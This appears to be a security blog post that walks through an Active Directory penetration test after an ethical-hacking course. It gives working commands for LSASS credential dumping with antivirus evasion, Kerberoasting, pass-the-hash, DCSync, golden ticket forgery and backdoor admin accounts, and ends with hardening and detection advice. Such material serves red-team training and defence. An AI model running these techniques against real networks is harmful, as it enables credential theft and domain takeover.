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Introduction:
Active Directory (AD) remains the crown jewel of corporate networks, making it the primary target for sophisticated cyber-attacks. Mastering offensive AD security is no longer a niche skill but a critical requirement for effective red teaming and penetration testing. The completion of specialized training, such as the Ethical Hacking Active Directory Operations (EHADOP) course, represents a significant step in developing the practical tradecraft needed to emulate adversaries and harden enterprise defenses.
Learning Objectives:
- Understand the core attack vectors and privilege escalation paths within an Active Directory environment.
- Gain practical, hands-on experience with essential tools and techniques for AD enumeration, lateral movement, and domain compromise.
- Learn to translate offensive findings into actionable defensive strategies and hardening recommendations.
You Should Know:
1. The Foundation: AD Enumeration and Reconnaissance
Before launching any attack, thorough reconnaissance is paramount. This phase involves mapping the AD structure, identifying users, computers, groups, and trust relationships without triggering alarms.
Step-by-step Guide:
- Initial Foothold: Assume you have compromised a standard domain user’s credentials or have code execution on a domain-joined Windows host.
- PowerShell Enumeration: Use built-in cmdlets to gather information silently.
Get basic domain information Get-ADDomain Enumerate all domain users Get-ADUser -Filter -Properties Enumerate all computers Get-ADComputer -Filter -Properties Enumerate sensitive groups (e.g., Domain Admins) Get-ADGroupMember -Identity "Domain Admins" -Recursive
- Tool-Based Enumeration: Use tools like `BloodHound` for automated, graphical analysis of attack paths.
On Linux Attacker, run the BloodHound ingestor (SharpHound) First, upload SharpHound.ps1 to the target Then execute collection from PowerShell Import-Module .\SharpHound.ps1 Invoke-BloodHound -CollectionMethod All Transfer the collected ZIP file to your machine and import into BloodHound UI.
2. Credential Access & Dumping Techniques
Credentials are the keys to the kingdom. Learn to extract them from memory, disks, and network traffic.
Step-by-step Guide:
- Dumping LSASS Memory: The Local Security Authority Subsystem Service (LSASS) process stores secrets. Use Mimikatz (on-target) or less detectable methods.
Using built-in comsvcs.dll (bypassing some AV) tasklist /fi "imagename eq lsass.exe" Find LSASS PID rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump <PID> lsass.dmp
Then, parse the dump file offline with Mimikatz on your attacker machine:
sekurlsa::minidump lsass.dmp sekurlsa::logonPasswords full
- Cracking Kerberos Tickets: Capture Kerberoastable service accounts and crack their hashes offline.
Using Rubeus from a domain-joined host .\Rubeus.exe kerberoast /outfile:hashes.txt Crack with Hashcat hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt
3. Lateral Movement: Pivoting Across the Network
Once you have credentials, move laterally to expand control.
Step-by-step Guide:
- Pass-the-Hash (PtH): Use captured NTLM hashes to authenticate without the plaintext password.
Using Impacket's psexec on Linux attacker python3 psexec.py -hashes :<NTLM_Hash> DOMAIN/User@<Target_IP>
- Windows Remote Management (WinRM): If enabled, use PowerShell Remoting.
$cred = New-Object System.Management.Automation.PSCredential('DOMAIN\User', (ConvertTo-SecureString 'Password' -AsPlainText -Force)) Enter-PSSession -ComputerName <Target_Computer> -Credential $cred
4. Privilege Escalation to Domain Admin
The ultimate goal is to achieve Domain Admin privileges, often by exploiting misconfigurations.
Step-by-step Guide:
- Unconstrained Delegation Abuse: If you control a server with Unconstrained Delegation, you can capture a Domain Admin’s TGT when they connect.
On the compromised server with Unconstrained Delegation, run Rubeus .\Rubeus.exe monitor /interval:5 /filteruser:<DA_NAME>
- DCSync Attack: Mimic a Domain Controller to sync password data. Requires `Replicating Directory Changes` permissions, often gained via compromised high-privilege accounts or group membership.
Using Mimikatz with appropriate rights lsadump::dcsync /user:DOMAIN\Administrator
5. Persistence & Defense Evasion
Maintain access and avoid detection.
Step-by-step Guide:
- Golden Ticket Attack: Forge Kerberos tickets using the `krbtgt` account’s hash (obtained via DCSync).
Using Mimikatz kerberos::golden /user:fakeadmin /domain:domain.local /sid:<SID> /krbtgt:<KRBTGT_Hash> /ptt
- Creating Hidden Backdoors: Add a user to protected groups or create shadow accounts.
Add a controlled user to a privileged group net group "Domain Admins" ControlledUser /add /domain
6. Mitigation & Hardening: The Blue Team Perspective
Understanding the attack is only half the battle. Implement defenses.
Step-by-step Guide:
- Principle of Least Privilege: Audit and restrict membership in privileged groups (Domain Admins, Enterprise Admins, Schema Admins). Use Privileged Access Workstations.
- Patch & Configure: Disable LLMNR/NBT-NS, enforce SMB signing, disable NTLM where possible, and apply Microsoft LAPS for local admin password management.
- Monitoring & Detection: Enable advanced auditing (e.g.,
Audit Kerberos Authentication Service). Monitor for events like:
– Event ID 4769: Kerberos service ticket requested (for Kerberoasting).
– Event ID 4672: Special privileges assigned (for privilege escalation).
– Use SIEM rules to detect anomalous use of tools like Mimikatz (sekurlsa::logonpasswords in command-line logs).
What Undercode Say:
Offensive Proficiency is the Root of Effective Defense: You cannot defend a castle you do not know how to attack. Hands-on AD pentesting courses bridge the critical gap between theoretical security and the real-world tactics of adversaries.
The Tool is Secondary, the Methodology is Primary: While tools like Mimikatz and BloodHound are essential, the real skill lies in understanding the underlying protocols (Kerberos, NTLM, LDAP) and chaining misconfigurations into a viable attack path. This conceptual knowledge outlasts any specific tool’s lifespan.
The journey through AD offensive security is a continuous cycle of learning, practicing, and adapting. As defensive tools like EDRs improve, offensive tradecraft evolves in tandem. This cat-and-mouse game ensures that the skills gained from deep, practical training are not just relevant but vital for building resilient organizations. The ultimate goal is not just to exploit, but to illuminate weaknesses and fortify the entire domain against the very attacks you’ve learned to execute.
Prediction:
The increasing migration to hybrid identity models (Azure AD/Entra ID) will shift, but not eliminate, the focus from traditional on-premise AD. Attackers will increasingly exploit misconfigured trust relationships between cloud and on-premise environments, and abuse “legacy” authentication protocols that remain enabled for compatibility. Furthermore, AI-driven security tools will begin to automate both attack path discovery for red teams and anomaly detection for blue teams, leading to an accelerated, AI-powered arms race within the AD security landscape. The core principles of understanding identity, trust, and privilege, however, will remain timeless.
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IT/Security Reporter URL:
Reported By: Nicollas Alcantara – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
